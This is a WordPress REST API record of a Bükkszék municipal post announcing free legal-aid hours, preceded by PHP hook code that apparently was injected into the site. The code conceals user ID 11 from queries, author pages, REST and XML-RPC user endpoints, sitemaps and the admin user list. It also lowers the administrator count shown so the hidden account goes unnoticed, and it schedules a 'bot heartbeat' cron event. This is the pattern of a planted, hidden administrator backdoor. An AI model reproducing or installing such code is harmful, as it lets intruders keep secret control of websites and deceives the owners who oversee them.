add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 11;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 11 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 11 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 11;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 11;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/11(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-11{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":914,"date":"2020-10-26T09:18:14","date_gmt":"2020-10-26T09:18:14","guid":{"rendered":"http:\/\/www.bukkszek.hu\/2015\/?p=914"},"modified":"2020-10-26T09:18:17","modified_gmt":"2020-10-26T09:18:17","slug":"jogsegely-szolgalat-oktober-30-an","status":"publish","type":"post","link":"http:\/\/www.bukkszek.hu\/2015\/2020\/10\/26\/jogsegely-szolgalat-oktober-30-an\/","title":{"rendered":"Jogseg\u00e9ly szolg\u00e1lat okt\u00f3ber 30-\u00e1n"},"content":{"rendered":"\n<p>B\u00fckksz\u00e9k K\u00f6zs\u00e9g \u00d6nkorm\u00e1nyzata \u00e9rtes\u00edti a lakoss\u00e1got, hogy az ingyenes jogseg\u00e9ly szolg\u00e1lat \u00a0(Dr. Zvara \u00c1gnes egy\u00e9ni \u00fcgyv\u00e9d) k\u00f6vetkez\u0151  \u00fcgyf\u00e9lfogad\u00e1s id\u0151pontja:<\/p>\n\n\n\n<p><strong>2020. okt\u00f3ber 30. napj\u00e1n, \u00a09.00-11.00 k\u00f6z\u00f6tt lesz \u00a0a Polg\u00e1rmesteri Hivatal \u00e9p\u00fclet\u00e9ben.<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>B\u00fckksz\u00e9k K\u00f6zs\u00e9g \u00d6nkorm\u00e1nyzata \u00e9rtes\u00edti a lakoss\u00e1got, hogy az ingyenes jogseg\u00e9ly szolg\u00e1lat \u00a0(Dr. Zvara \u00c1gnes egy\u00e9ni \u00fcgyv\u00e9d) k\u00f6vetkez\u0151 \u00fcgyf\u00e9lfogad\u00e1s id\u0151pontja: 2020. okt\u00f3ber 30. napj\u00e1n, \u00a09.00-11.00 k\u00f6z\u00f6tt lesz \u00a0a Polg\u00e1rmesteri Hivatal \u00e9p\u00fclet\u00e9ben.<\/p>\n","protected":false},"author":1,"featured_media":869,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-914","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hirek"],"_links":{"self":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/914","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/comments?post=914"}],"version-history":[{"count":1,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/914\/revisions"}],"predecessor-version":[{"id":915,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/914\/revisions\/915"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media\/869"}],"wp:attachment":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media?parent=914"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/categories?post=914"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/tags?post=914"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}